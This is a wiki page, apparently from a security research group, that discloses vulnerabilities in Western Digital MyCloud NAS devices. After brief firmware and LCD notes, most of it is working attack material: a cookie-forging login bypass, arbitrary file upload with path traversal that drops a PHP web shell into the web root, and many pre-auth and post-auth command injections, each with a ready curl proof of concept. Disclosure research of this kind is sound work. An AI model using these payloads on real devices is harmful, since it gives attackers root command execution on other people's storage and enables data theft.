Difference between revisions of "Western Digital MyCloud"

From Exploitee.rs
Jump to navigationJump to search
 
Line 1,959: Line 1,959:
== Demo Video ==
== Demo Video ==
{{#ev:youtube|aKu_yWrIIFI}}
{{#ev:youtube|aKu_yWrIIFI}}
== Authentication Bypass and Arbitrary File Upload (added 8/6/2017) ==
{{#ev:youtube|EO_49pfmA5A}}

Latest revision as of 12:37, 10 August 2017


"Although the information we release has been verified and shown to work to the best our knowledge, we cant be held accountable for bricked devices or roots gone wrong."

Wd stock photo.jpg

About

The Western Digital "MyCloud" is a series of network attached storage devices.

Purchase

Buying devices is expensive and, in a lot of cases our testing leads to bricked equipment. If you would like to help support our group, site, and research please use one of the links below to purchase your next device. Purchase the Western Digital MyCloud PR4100 at Amazon

Models

As of 3/03/2017, the following are the current available models.

  • My Cloud
  • My Cloud Gen 2
  • My Cloud Mirror
  • My Cloud PR2100
  • My Cloud PR4100
  • My Cloud EX2 Ultra
  • My Cloud EX2
  • My Cloud EX4
  • My Cloud EX2100
  • My Cloud EX4100
  • My Cloud DL2100
  • My Cloud DL4100

Firmware

Firmware can be found at the WD Support webpage "MyCloud" firmware download section.

Reversing Firmware

Firmware from the MyCloud devices can be unpacked using binwalk with the following command.

binwalk -Me mycloudfirmware.bin

This runs binwalk with the following options

  • -M, --matryoshka                    Recursively scan extracted files
  • -e, --extract                       Automatically extract known file types

Firmware Contents

After extracting the firmware the following items can usually be found.

  • GRUB EFI Partition
  • SquashFS Filesystem (Contains webroot, binaries, etc.)
  • CPIO Ramdisk

Web Server

The web root for the web server is located at /var/www/.

  • /sdk/ uses a reverse proxy to make requests to http://127.0.0.1:8181/sdk/ which is handled by the /usr/local/restsdk/restsdk-server binary
  • API requests using the ^/api/([0-9.]+)/rest/(.*) syntax are passed through /htdocs/api/rest/index.php
  • WEBSERVER RUNS AS ROOT

Writing To LCD Display

The code below allows for writing to the display on the WD MyCloud NAS.

Paste the following code below into two files, then compile against the "liblcd_management.so" library taken from the mycloud device or firmware with the following.

gcc lcd_disp.c -o lcd_disp -Llib -Llib/boost -lboost_system -llcd_management;

lcd_management.h

extern int lcd_set_weighted_page(const char *, const char *, unsigned int, unsigned int, char *, char **, unsigned int);

extern int lcd_clear_all(const char *);

extern int lcd_clear_page(const char *, const char *);

extern int lcd_set_sleep_mode(unsigned int);

lcd_disp.c

/*
*
* Created to display text on WD MyCloud NAS Display.
*
*/
#include <stdio.h>
#include <unistd.h>
#include "lcd_management.h"

int main(int argc, char *argv[]){
    if(argc == 3){
	//LCD OFF
	lcd_set_sleep_mode(1);
	sleep(1);
	//LCD ON
	lcd_set_sleep_mode(0);
	//Clear LCD
	lcd_clear_all("lcd_display");
	//Display Message
	lcd_set_weighted_page("lcd_display", "shutdown_reboot", 1, -1, argv[1], &argv[2], 1);
	printf("Added to LCD\n");
    }
    else
	printf("Usage: %s line1str line2str\n", argv[0]); 

    return 0;
}

Vulnerabilities

The following are the vulnerabilities found in this product.

Login Bypass Vulnerability

We divide this into two sections, one with the original state of the login_checker.php vulnerability (Prior to 12/20/2016), and one with current version. Both contains vulnerabilities which allow for the bypassing of authentication validation.

login_checker.php (pre 12/20/2016)

A majority of the PHP scripts on the server contain a check to see if a user is logged in, the code for one of which is below.

Patched as of time of publication.

/var/www/web/lib/login_checker.php

  4 function login_check()
  5 {
  6         $ret = 0;
  7 
  8         if (isset($_SESSION['username']))
  9         {
 10                 if (isset($_SESSION['username']) && $_SESSION['username'] != "")
 11                 $ret = 2; //login, normal user
 12 
 13                 if ($_SESSION['isAdmin'] == 1)
 14                         $ret = 1; //login, admin
 15         }
 16         else if (isset($_COOKIE['username']))
 17         {
 18                 if (isset($_COOKIE['username']) && $_COOKIE['username'] != "")
 19                 $ret = 2; //login, normal user
 20 
 21                 if ($_COOKIE['isAdmin'] == 1)
 22                         $ret = 1; //login, admin
 23         }
 24 
 25 
 26 
 27         return $ret;
 28 }

In the above, the "login_check()" function checks to see if a cookie exists with the name "username" (Ln. 18). It then proceeds to check to see if the username cookie is empty. If the cookie is not empty, the function sets the "ret" variable to 2 signifying that a user is logged in.

The function then also checks to see if the "isAdmin" cookie is equal to 1 (Ln. 21), if the cookie is set and is equal to 1 the "ret" variable is set to 1 signifying that the user logged in is an administrator.

The above code uses a user supplied value to determine if the user is logged in and does not properly validate or store any of the user information preventing an unauthorized user the ability to bypass the authentication.

This can be done by accessing any of the backend PHP scripts and adding the following cookies.

  • username = ANYVALUE
  • isAdmin = 1

login_checker.php (post 12/20/2016)

A majority of the PHP scripts on the server contain a check to see if a user is logged in, the current code (as of 1/1/2017) for one of which is below.

In the below we begin by looking at the function "login_check()" which is called within the header of php scripts and is used to validate the user info.

/var/www/web/lib/login_checker.php

 20 function login_check()
 21 {
 22         $ret = 0;
 23 
 24         if (isset($_SESSION['username']))
 25         {
 26                 if (isset($_SESSION['username']) && $_SESSION['username'] != "")
 27                 $ret = 2; //login, normal user
 28 
 29                 if ($_SESSION['isAdmin'] == 1)
 30                         $ret = 1; //login, admin
 31         }
 32         else if (isset($_COOKIE['username']))
 33         {
 34                 if (isset($_COOKIE['username']) && $_COOKIE['username'] != "")
 35                 $ret = 2; //login, normal user
 36 
 37                 if ($_COOKIE['isAdmin'] == 1)
 38                         $ret = 1; //login, admin
 39 
 40                 if (wto_check($_COOKIE['username']) === 0) //wto check fail
 41                         $ret = 0;
 42         }
 43 
 44         return $ret;
 45 }
 46 ?>

In the above, the "login_check()" function checks to see if a cookie exists with the name "username" (Ln. 32). It then proceeds to check to see if the username cookie is empty. If the cookie is not empty, the function sets the "ret" variable to 2 signifying that a user is logged in.

The function then also checks to see if the "isAdmin" cookie is equal to 1 (Ln. 37), if the cookie is set and is equal to 1 the "ret" variable is set to 1 signifying that the user logged in is an administrator.

Finally, we reach the part of the code that was added to prevent the vulnerability mentioned in the above section (and patched prior to our publishing of this document) portion of the code. On line 40, a call is made to the “wto_check()” function with the username cookie value as an argument. This function is used to verify that the user has already logged in and uses the IP address of the user, the user supplied username, and a with a timer to determine if the user has recently logged in and should be allowed to continue. Within this function is where the new vulnerability exists.

The code for “wto_check()” can be found below.

/var/www/web/lib/login_checker.php

  3 /*
  4   return value: 1: Login, 0: No login
  5 */
  6 function wto_check($username)
  7 {
  8         if (empty($username))
  9                 return 0;
 10 
 11         exec(sprintf("wto -n \"%s\" -i '%s' -c", escapeshellcmd($username), $_SERVER["REMOTE_ADDR"]), $login_status);
 12         if ($login_status[0] === "WTO CHECK OK")
 13                 return 1;
 14         else
 15                 return 0;
 16 }
 17 
 18 /* ret: 0: no login, 1: login, admin, 2: login, normal user */
 19 

The “wto_check()” function begins by verify that the supplied variable “$username” is not empty (Ln. 8) , if the variable is not empty the function proceeds. Then on line 11, an exec() call is made to the “wto” binary on the device with the “$username” variable (which is first passed through the PHP function “escapeshellcmd()”) and the "REMOTE_ADDR" array index within the “$_SERVER” PHP superglobal, which contains the requester’s IP address. The “wto” binary is located on the device at “/usr/local/modules/usrsbin/wto” and its arguments can be found below.

# wto --h
Usage: wto [parm]
-h        help
-n        user name
-i        ip address
-s        set timeout
-g        get timer
-c        check timeout
-r        reset timer
-a        remove all
-x        del timeout item
-z        show all
-d        del user

Looking at the 2 pieces from above (the “wto_check()” function and the arguments to the “wto” binary), we can see that the call within “wto_check()” to the binary is using the ip address and username to check to see if the user’s login timer has expired. This however contains 1 issue, the programmer who patched the code chose to use the wrong PHP function for filtering input. The programmer used the PHP function “escapeshellcmd()” which is used to escape an entire command (as opposed to a single argument) and doesn’t comment out new function arguments. The correct use would have included the similarly named PHP function “escapeshellarg()”, which is used on single arguments within a command. Because the programmer used the wrong function, we are able to use the PHP “exec()” call to reset the login timeout by supplying an extra “-s TIMEOUTVALUE” argument for the user therefore signing them in (as opposed to just checking to see if the user is logged in). The following is an example of such a payload.

username=admin" -s 1337 -c "

This can be paired with the fact that an administrator is just signified by the presence of a cookie with the name "isAdmin" and the value of 1 for full administrator access to the device.

POC (curl argument)

 --cookie "isAdmin=1;username=admin\" -s 1337 -c \""

The above can be added to any PHP based RCE requiring authentication for remote root command execution on the device.

network_mgr.cgi (added 8/6/2017)

The cgi binary "network_mgr.cgi" logs in a user prior to validating their credentials while also displaying a 404 error.

MyCloud network mgr cgi Bypass.png

In the above screen shot of the hex-rays decompilation of "network_mgr.cgi", the following are performed in the listed order.

  • Checks if "cmd" GET variable is "cgi_get_ipv6"
  • Checks if "flag" GET variable is "1"
  • Resets the "wto" timeout and ip for the admin user
  • Checks if admin is logged in

As can be seen, prior to "kindaAuth()" call (function named by us), the wto_setTime function is called. This means that even if the supplied credentials are incorrect, the "wto" (as specified in the previous login bypass above) binary is used to reset the logged in users originating ip address and login timeout. This allows the attacker to simply supply the "isAdmin" and "username" cookies to sufficiently access any authenticated functionality within the administrative interface.

POC

# Logs in user
curl -v "http://<DEVICEIP>/cgi-bin/network_mgr.cgi?cmd=cgi_get_ipv6&flag=1"
# Uses unfixed "post-auth" vulnerability in "DsdkProxy.php" along with above bypass for RCE (Any of the listed post-auth vulnerabilities can be used)
curl -i "http://<DEVICEIP>/web/dsdk/DsdkProxy.php" --data "';id;'" --cookie "isAdmin=1;username=admin" 

Arbitrary Root File Write

The following allow for the ability to place a file anywhere on the NAS without authentication.

/web/addons/upload.php

This PHP page allows for the ability to upload a file to a location anywhere on the server.

Below is the code for the vulnerable PHP file.

addons/upload.php

  1 <?php
  2 //if(!isset($_REQUEST['name'])) throw new Exception('Name required');
  3 //if(!preg_match('/^[-a-z0-9_][-a-z0-9_.]*$/i', $_REQUEST['name'])) throw new Exception('Name error');
  4 //
  5 //if(!isset($_REQUEST['index'])) throw new Exception('Index required');
  6 //if(!preg_match('/^[0-9]+$/', $_REQUEST['index'])) throw new Exception('Index error');
  7 //
  8 //if(!isset($_FILES['file'])) throw new Exception('Upload required');
  9 //if($_FILES['file']['error'] != 0) throw new Exception('Upload error');
 10 
 11 $path = str_replace('//','/',$_REQUEST['folder']);
 12 $filename = str_replace('\\','',$_REQUEST['name']);
 13 $target =  $path . $filename . '-' . $_REQUEST['index'];
 14 
 15 //$target =  $_REQUEST['folder'] . $_REQUEST['name'] . '-' . $_REQUEST['index'];
 16 
 17 move_uploaded_file($_FILES['file']['tmp_name'], $target);
 18 
 19 
 20 //$handle = fopen("/tmp/debug.txt", "w+");
 21 //fwrite($handle, $_FILES['file']['tmp_name']);
 22 //fwrite($handle, "\n");
 23 //fwrite($handle, $target);
 24 //fclose($handle);
 25 
 26 // Might execute too quickly.
 27 sleep(1);
 28 
 29 ?>

In the code above there is no authentication done for file uploads and although a "-" is forced into the file name, this can be bypassed by placing the entire path in the "index" variable. Placing the entire path within the "index" request variable and using the "../" pattern to navigate different paths allows for complete control of the uploaded file and path where it's placed.

POC

 curl -i "http://<IP>/web/addons/upload.php?folder=/tmp&name=a&index=/../../../../tmp/a0" -F "file=@/tmp/aaa"

/jquery/uploader/multi_uploadify.php (added 08/06/2017)

This PHP page allows for the ability to upload a file to a location anywhere on the server.

Below is the code for the vulnerable PHP file.

jquery/uploader/multi_uploadify.php

 28 $ip = gethostbyaddr($_SERVER['HTTP_HOST']);
 29 $name = $_REQUEST['name'];
 30 $pwd = $_REQUEST['pwd'];
 31 $redirect_uri =  $_REQUEST['redirect_uri'];
 32 
 33 //echo $name ."<br>".$pwd."<br>".$ip;
 34 
 35 
 36 $result = @stripslashes( @join( @file( "http://".$ip."/mydlink/mydlink.cgi?cmd=1&name=".$name."=&pwd=".$pwd ),"" ));
 37 
 38 $result_1 = strstr($result,"<auth_status>0</auth_status>");
 39 $result_1 = substr ($result_1, 0,28);
 40 
 41 if (strncmp ($result_1,"<auth_status>0</auth_status>",28) == 0 )
 42 //if (strstr($result,"<auth_status>0</auth_status>")== 0 )
 43 {
 44         header("HTTP/1.1 302 Found");
 45   header("Location: ".$redirect_uri."?status=0");
 46   exit();
 47 }
 48 
 49 
 50 if (!empty($_FILES)) {
 51 
 52                 $targetPath =  $_REQUEST['folder'] . '/';
 53                 $count = (count($_FILES["Filedata"])-2);
 54 
 55 
 56                 for ( $I=0; $I < $count; $I++ )
 57                 {
 58                         $tempFile = $_FILES['Filedata']['tmp_name'][$I];
 59 
 60                         if ($tempFile == "")
 61                         {
 62                                         continue;
 63                         }
 64                         $new_file_name =  str_replace('\\','',$_FILES['Filedata']['name'][$I]);  //amy++
 65                         $targetFile =  str_replace('//','/',$targetPath) . $new_file_name;
 66 
 67                         $status = move_uploaded_file($tempFile,$targetFile);

In the code above, on line 36, a web request is made to the following URL on the MyCloud web-server (/mydlink/mydlink.cgi). Then, on line 41, the output of the request is compared to the following string.

<auth_status>0</auth_status>

If the string is found the script exists (line 43-47).

Unfortunately, this request is used to authenticate the user for the file uploads and because this file does not exist within the NAS web directory, a 404 error is returned. This 404 error does not contain the string the script expects and therefore the script allows the user to upload a file. This file can be placed anywhere (including the web root directory) and therefore can result in remote code execution.

POC

printf "<?php echo system(\$_GET['cmd']); ?>" > /tmp/phpshell.php
curl -v "http://<IP>/web/jquery/uploader/multi_uploadify.php?folder=/var/www/" -F "Filedata[]=@/tmp/phpshell.php"

Pre-Auth Remote Command Execution

The following vulnerabilities allow for privileged access to the NAS without any form of authentication. All commands are executed as root.

/web/addons/ftp_download.php

Authentication Commented Out

This isn’t really a vulnerability but just a place where if the authentication had been in place the RCE within the same code wouldn’t have been made accessible without the login bypass bug.

addons/ftp_download.php

  6 //include ("../lib/login_checker.php");
  7 //
  8 ///* login_check() return 0: no login, 1: login, admin, 2: login, normal user */
  9 //if (login_check() == 0)
 10 //{
 11 //      echo json_encode($r);
 12 //      exit;
 13 //}

As you can see from the above, the normal authentication code has been commented out allowing for all functionality within the file to be reached or exploited.

This alone would allow a user to backup to and from an FTP Site.

The following bugs are then accessible through different paths and different variables within the file.

Remote Command Execution

A remote command execution vulnerability exists in the ftp_download functionality of the MyCloud web interface when the "action" variable is set to "create." This bug is accessible without authentication as the normal authentication code has been commented out.

The code below shows the vulnerable area.

addons/ftp_download.php

130         case "create":
131         {
132                 $taskname = $_POST['taskname'];
133                 $source_dir = $_POST['source_dir'];
134                 $dest_dir = $_POST['dest_dir'];
135                 $schedule = $_POST['schedule'];
136                 $schedule_type = $_POST['backup_sch_type'];
137                 $hour = $_POST['hour'];
138                 $week = $_POST['week'];
139                 $day = $_POST['day'];
140 
141                 $host = $_POST['host'];
142                 $user = $_POST['user'];
143                 $pwd = $_POST['pwd'];
144                 $lang = $_POST['lang'];
145 
146                 $sch_command = "";
147                 if ($schedule  == "0")$sch_command = "0,1,1";
148                 else if ($schedule_type  == "3")$sch_command = "3,1,".$hour; //daily
149                 else if ($schedule_type  == "2")$sch_command = "2,".$week.",".$hour; //weekly
150                 else if ($schedule_type  == "1")$sch_command = "1,".$day.",".$hour; //monthly
151 
152 
153                 $cmd = sprintf("ftp_download -a \"%s\" -i \"%s\" -u \"%s\" -p \"%s\" -l \"%s\" -d \"%s\" -r %s -c jobadd",
154                                                 $taskname, $host, $user, $pwd, $lang, $dest_dir, $sch_command);
155 
156                 foreach ($source_dir as $val)
157                         $cmd .= sprintf(" -s \"%s\"", $val);
158 
159                $cmd .= " >/dev/null 2>&1";
160                 system($cmd);
161                 //pclose(popen($cmd, 'r'));
162                 $pname = sprintf("/tmp/r_ftpdl!_%s", $taskname);
163                 @unlink($pname);
164 
165                 stop_job($taskname);
166 
167                 //Start job
168                 //$cmd = sprintf("(ftp_download -a '%s' -c jobrun >/dev/null 2>&1)&", $taskname);
169                 $cmd = sprintf("ftp_download -a '%s' -c jobrun > /dev/null 2>&1 &", $taskname);
170                 system($cmd);

In lines 133-144, a number of post values are moved into local variables. The variables are then used a few lines later within a system() call. This is all done without any sanitization on the supplied values allowing for command execution through multiple variables.

The "stop_job()" call also contains a command injection bug through its use of the "taskname" variable.

addons/ftp_download.php

115 function stop_job($taskname)
116 {
117         //Stop job
118         $cmd = sprintf("ftp_download -a '%s' -c jobstop >/dev/null 2>&1", $taskname);
119         pclose(popen($cmd, 'r'));
120         sleep(2);
121 
122         $pname = sprintf("/tmp/r_%s!_ftpdl", $taskname);
123         file_put_contents($pname, "-10"); //Cancel
124 }

In the above, on line 118, the "taskname" variable is passed in as a function argument. It is then stored in the "cmd" variable in the proper syntax to stop a job through the ftp_download binary. On the next line we can see that the cmd variable is then executed through the popen() call allowing for command injection.

POC

curl "http://<IP>/web/addons/ftp_download.php" --data "action=create&taskname=&source_dir[]=&dest_dir=&schedule=&backup_sch_type=&hour=&week=&day=&host=%24(touch%20/tmp/a1)&user=&pwd=&lang="

The stop_job method is accessible through the following POC.

POC

curl "http://<IP>/web/addons/ftp_download.php" --data "action=stop_jobs&taskname=';touch%20/tmp/a2;'"
Remote Command Execution

A remote command execution vulnerability exists in the ftp_download functionality of the MyCloud web interface when the "action" variable is set to "modify".

addons/ftp_download.php

181         case "modify":
182         {
183                 $taskname = $_POST['taskname'];
184                 $source_dir = $_POST['source_dir'];
185                 $dest_dir = $_POST['dest_dir'];
186                 //$backup_type = $_POST['backup_type'];
187                 $old_taskname = $_POST['old_taskname'];
188 
189                 $schedule = $_POST['schedule'];
190                 $schedule_type = $_POST['backup_sch_type'];
191                 $hour = $_POST['hour'];
192                 $week = $_POST['week'];
193                 $day = $_POST['day'];
194 
195                 $host = $_POST['host'];
196                 $user = $_POST['user'];
197                 $pwd = $_POST['pwd'];
198                 $lang = $_POST['lang'];
199 
200                 $sch_command = "";
201                 if ($schedule  == "0")$sch_command = "0,1,1";
202                 else if ($schedule_type  == "3")$sch_command = "3,1,".$hour; //daily
203                 else if ($schedule_type  == "2")$sch_command = "2,".$week.",".$hour; //weekly
204                 else if ($schedule_type  == "1")$sch_command = "1,".$day.",".$hour; //monthly
205 
206                 stop_job($taskname);
207 
208                 $cmd = sprintf("ftp_download -a \"%s\" -x \"%s\" -i \"%s\" -u \"%s\" -p \"%s\" -l \"%s\" -d \"%s\" -r %s -c jobedit",
209                                                 $taskname, $old_taskname, $host, $user, $pwd, $lang, $dest_dir, $sch_command);
210 
211                 foreach ($source_dir as $val)
212                         $cmd .= sprintf(" -s \"%s\"", $val);
213                 $cmd .= " >/dev/null 2>&1";
214                 system($cmd);
215                 //pclose(popen($cmd, 'r'));
216 
217                 //Start job
218                 //$cmdS = sprintf("ftp_download -a '%s' -c jobrun &", $taskname);
219                 $cmdS = sprintf("ftp_download -a '%s' -c jobrun > /dev/null 2>&1 &", $taskname);
220                 system($cmdS);

In lines 183-198, a number of post values are moved into local variables. The variables are then used a few lines later within a system() call. This is all done without any sanitization on the supplied values allowing for command execution through multiple variables.

This path also suffers from a command injection vulnerability using the "$taskname" variable through the same "stop_job" code mentioned previously.

POC

curl "http://<IP>/web/addons/ftp_download.php" --data "action=modify&taskname=&source_dir[]=&dest_dir=&schedule=&backup_sch_type=&hour=&week=&day=&host=%24(touch%20/tmp/a3)&user=&pwd=&lang="
Remote Command Execution

A remote command execution vulnerability exists in the ftp_download functionality of the MyCloud web interface when the "action" variable is set to "del".

addons/ftp_download.php

231         case "del":
232         {
233                 $taskname = $_POST['taskname'];
234 
235                 stop_job($taskname);
236 
237                 $cmd = sprintf("ftp_download -a '%s' -c jobdel >/dev/null 2>&1", $taskname);
238                 system($cmd);

In the above, on line 233 the posted "taskname" variable is put into the local "$taskname" var. It is then loaded into the "$cmd" variable as an argument in a command which deletes a job using the ftp_download binary. The cmd variable is then used within the system() call on line 238.

This path also suffers from command injection using the "$taskname" within the same "stop_job" bug mentioned previously.

POC

curl "http://<IP>/web/addons/ftp_download.php" --data "action=del&taskname=';touch%20/tmp/a4;'"
Remote Command Execution

A remote command execution bug exists in the ftp_download functionality of the MyCloud web interface when the "action" variable is set to "go_jobs".

addons/ftp_download.php

250         case "go_jobs":
251         {
252                 $taskname = $_POST['taskname'];
253 
254                 $pname = sprintf("/tmp/r_%s!_ftpdl", $taskname);
255                 @unlink($pname);
256 
257                 $cmd = sprintf("ftp_download -a '%s' -c jobrun &", $taskname);
258                 pclose(popen($cmd, 'r'));

On line 252 the posted value for the "taskname" variable is put into the "$taskname" local variable. Then on line 257, the "$taskname" variable is put into "$cmd" and is formatted into the syntax as an argument for the ftp_download binary. Finally on line 258, "$cmd" is used as an argument to the popen() call allowing for command injection.

POC

curl "http://<IP>/web/addons/ftp_download.php" --data "action=go_jobs&taskname=';touch%20/tmp/a5;'"
Remote Command Execution

A remote command execution vulnerability exists in the ftp_download functionality of the MyCloud web interface when the "action" variable is set to "go_restore".

addons/ftp_download.php

282         case "go_restore":
283         {
284                 $taskname = $_POST['taskname'];
285 
286                 stop_job($taskname);
287 
288                 $pname = sprintf("/tmp/r_%s!_ftpdl", $taskname);
289                 file_put_contents($pname, "0"); //Cancel
290 
291                 $list_xml_file = sprintf("/tmp/r_ftpdl!_restore_imcremental_%s.xml", $taskname);
292                 $cmd = sprintf("ftp_download -a '%s' -o '%s' -F %s -c jobrs &", $taskname, $list_xml_file, $_POST['restore_source']);
293                 pclose(popen($cmd, 'r'));

In the above, on line 282 the posted "taskname" variable is put into the local "$taskname" var. Then on line 292 the variable is loaded into "$cmd" as an argument for the ftp_download binary. The "$cmd" variable is then used as an argument for the popen() call on line 293 allowing for command injection.

POC

curl "http://<IP>/web/addons/ftp_download.php" --data "action=go_restore&taskname=a&restore_source=;touch%20/tmp/a6;"

/web/storage/raid_cgi.php

Authentication Commented Out

This isn’t really a vulnerability but just a place where if the authentication had been in place the RCE within the same code wouldn’t have been made accessible without the login bypass bug.

storage/raid_cgi.php

  6 //include ("../lib/login_checker.php");
  7 //
  8 ///* login_check() return 0: no login, 1: login, admin, 2: login, normal user */
  9 //if (login_check() != 1)
 10 //{
 11 //      echo json_encode($r);
 12 //      exit;
 13 //}

As you can see from the above, the normal authentication code has been commented out allowing for all the functionality within the file to be reached and exploited.

This bug alone would allow a user to conduct device specific tests and get RAID system information.

Because authentication is commented out, the following bug is accessible.

Remote Command Execution

A remote command execution vulnerability exists in the RAID testing functionality of the MyCloud web interface when the "cmd" post variable is set to "cgi_Run_Smart_Test".This bug is accessible without authentication as the normal authentication code has been commented out.

storage/raid_cgi.php

 21         case "cgi_Run_Smart_Test":
 22         {
 23                 $run_cmd = $_POST['run_cmd'];
 24                 system("smart_test -X > /dev/null");
 25 
 26                 $run_cmd .= " > /dev/null &";
 27                 system($run_cmd);

On line 23 the posted "run_cmd" variable is loaded into the local variable "$run_cmd". Then on line 26, the $run_cmd variable has " > /dev/null &" appended to the end and is then used as an argument to the system() call on line 27.

POC

curl "http://<IP>/web/storage/raid_cgi.php" --data "cmd=cgi_Run_Smart_Test&run_cmd=touch%20/tmp/a7"

/web/addons/jqueryFileTree.php

A remote command execution vulnerability exists in the "addons/jqueryFileTree.php" script within the MyCloud web interface. This file contains and uses no authentication code, making this bug "pre-auth".

Remote Command Execution

The following code shows the vulnerability.

addons/jqueryFileTree.php

 23 $host = ($_POST['host'] == "")? $_GET['host']:$_POST['host'];
 24 $pwd = ($_POST['pwd'] == "")? $_GET['pwd']:$_POST['pwd'];
 25 $user = ($_POST['user'] == "")? $_GET['user']:$_POST['user'];
 26 $dir = ($_POST['dir'] == "")? $_GET['dir']:$_POST['dir'];
 27 $lang = ($_POST['lang'] == "")? $_GET['lang']:$_POST['lang'];
 28 //echo $dir."dir1=".dir1;
 29 error_reporting(0);
 30 
 31                 @unlink("/tmp/ftp-folder.txt");
 32                 @unlink("/tmp/ftp-file.txt");
 33 
 34                 $cmd = sprintf("ftp_download -c gettree -i \"%s\" -u \"%s\" -p \"%s\" -t \"%s\" -l \"%s\"", $host, $user, $pwd ,$dir ,$lang);
 35 
 36                 $handle = popen($cmd, 'r');

In the above, lines 23-27 move either a GET or POST value for each variable ("host", "pwd", "user", "dir", and "lang") into the appropriately named local variable. The variables are then all loaded without any sanitization into "$cmd" in a command as an argument for the ftp_download binary. On line 36, the $cmd variable is then passed into the popen call(), executing the command.

POC

curl "http://<IP>/web/addons/jqueryFileTree.php" --data 'host=";touch%20/tmp/a8;"&pwd=&user=&dir=&lang='

OR

curl "http://<IP>/web/addons/jqueryFileTree.php" --data 'host=&pwd=";touch%20/tmp/a9;"&user=&dir=&lang='

OR

curl "http://<IP>/web/addons/jqueryFileTree.php" --data 'host=&pwd=&user=";touch%20/tmp/a10;"&dir=&lang='

OR

curl "http://<IP>/web/addons/jqueryFileTree.php" --data 'host=&pwd=&user=&dir=";touch%20/tmp/a11;"&lang='

OR

curl "http://<IP>/web/addons/jqueryFileTree.php" --data 'host=&pwd=&user=&dir=&lang=";touch%20/tmp/a12;"'

/cgi-bin/snmp_mgr.cgi

Five remote command execution vulnerabilities exists in the "cgi-bin/snmp_mgr.cgi" binary within the MyCloud web interface. This file contains and uses no authentication code, making these bugs "pre-auth".

These bugs for now will be released as just POCs and we will be writing up the analysis for these bugs at a later point.

Remote Command Execution

POC

curl -i "http://<IP>/cgi-bin/snmp_mgr.cgi?cmd=cgi_SNMPv3_delete_one_record&uid=%24(touch%20/tmp/a13)"
Remote Command Execution

This RCE has limitation of a 32 character limit for the “uid” field.

POC

curl -i "http://<IP>/cgi-bin/snmp_mgr.cgi?cmd=cgi_get_SNMPv3_one_record&uid=%24(touch%20/tmp/a14)" 
Remote Command Execution

This RCE has limitation of a 32 character limit for the “uid” field.

POC

curl -i "http://<IP>/cgi-bin/snmp_mgr.cgi?cmd=cgi_set_SNMP_v2&f_enable=&snmp_enabled_level=&snmp_syslocation=&snmp_syscontact=&f_community=&notification_community=&notification_enable=&ip=%24(touch%20/tmp/a15)"
Remote Command Execution

When modifying this RCE, you must ensure that the “data_len” variable contains the correct string length of the “data” variable.

POC

curl -i "http://<IP>/cgi-bin/snmp_mgr.cgi?cmd=cgi_SNMPv3_modify_one_record&data_len=66&data=%3Ca%20id=0%3E%3Ccell%3E%24(touch%20/tmp/a16)%3C/cell%3E%3C/a%3E"
Remote Command Execution

When modifying this RCE, you must ensure that the “data_len” variable contains the correct string length of the “data” variable.

POC

curl -i "http://<IP>/cgi-bin/snmp_mgr.cgi?cmd=cgi_set_SNMPv3_one_record&data_len=66&data=%3Ca%20id=0%3E%3Ccell%3E%24(touch%20/tmp/a17)%3C/cell%3E%3C/a%3E"

/cgi-bin/login_mgr.cgi

A remote command execution vulnerabilities exists in the "cgi-bin/login_mgr.cgi" binary within the MyCloud web interface. This file contains and uses no authentication code, making this bug "pre-auth".

This bug for now will be released as a POC and we will be writing up the analysis for this bug at a later point.

Remote Command Execution

POC

curl -i "http://<IP>/cgi-bin/login_mgr.cgi" --data "cmd=wd_login&username=\a';touch%20/tmp/a18;'&pwd=a"

Authentication Required Remote Command Execution

The following bugs require authentication but, this requirement can be overcome by using the login bypass method listed in the login bypass section above.

A quick example POC using CURL for this bug is:

--cookie "isAdmin=1;username=admin\" -s 1337 -c \""

/web/php/users.php

A remote command execution vulnerability exists in the "php/users.php" script within the MyCloud web interface.

Remote Command Execution

The "php/users.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands.The following code illustrates the vulnerability.

php/users.php

 15 $username = $_COOKIE['username'];
 16 exec("wto -n \"$username\" -g", $ret);

This bug is very simple, on line 15 the value of the "username" cookie is pulled into a local variable "$username", on the next line the value is used in the exec() call.

POC

curl -i "http://<IP>/web/php/users.php" --cookie "isAdmin=1;username=%24(touch%20/tmp/a19)\" -s 1337 -c \""

/web/php/upload.php

A remote command execution vulnerability exists in the "php/upload.php" script within the MyCloud web interface.

Remote Command Execution

The "php/upload.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands.The following code illustrates the vulnerability.

php/upload.php

 15 $username = $_COOKIE['username'];
 16 exec("wto -n \"$username\" -g", $ret);

On line 15 the value of the "username" cookie is pulled into a local variable, on the next line the value is used in the exec() call.

POC

curl -i "http://<IP>/web/php/upload.php" --cookie "isAdmin=1;username=%24(touch%20/tmp/a20)\" -s 1337 -c \""

/web/setting/recycle_bin.php

A remote command execution vulnerability exists in the "setting/recycle_bin.php" script within the MyCloud web interface.

Remote Command Execution

The "setting/recycle_bin.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands.The following code illustrates the vulnerability.

setting/recycle_bin.php

 45         case "save":
 46         {
 47                 set_xml_value_to_memory("/recycle_bin/auto_clear", $_POST["enable_auto_clear"]);
 48                 set_xml_value_to_memory("/recycle_bin/day", $_POST["clear_days"]);

In the above, when "action" is set to "save", the set_xml_value_to_memory() is called. The user supplied post value for "enable_auto_clear" and "clear_days" are then used as the second argument for the set_xml_value_to_memory() function. The code for set_xml_value_to_memory() can be found below.

setting/recycle_bin.php

 23 function set_xml_value_to_memory($node, $val)
 24 {
 25         $cmd = sprintf("xmldbc -s %s \"%s\"", $node, $val);
 26         pclose(popen($cmd, 'r'));
 27 }

The above function "set_xml_value_to_memory" accepts two arguments, "$node" and "$val". In both calls to this code, "$node" is a static value while "$val" is user supplied. On line 25, both the "$node" and "$val" are used to craft a command which is stored in "$cmd" without any sanitization. On line 26, the "$cmd" variable is then used as the argument to popen(), which executes the command within. This allows for remote command execution

POC

curl -i "http://<IP>/web/setting/recycle_bin.php" -d "action=save&enable_auto_clear=0&clear_days=%24(touch%20/tmp/a21)"  --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/setting/recycle_bin.php" -d "action=save&enable_auto_clear=%24(touch%20/tmp/a22)&clear_days=0" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""

/web/php/sendLogToSupport.php

A remote command execution vulnerability exists in the "php/sendLogToSupport.php" script within the MyCloud web interface.

Remote Command Execution

The "php/sendLogToSupport.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands. The following code illustrates the vulnerability.

php/sendLogToSupport.php

 15 $username = $_COOKIE['username'];
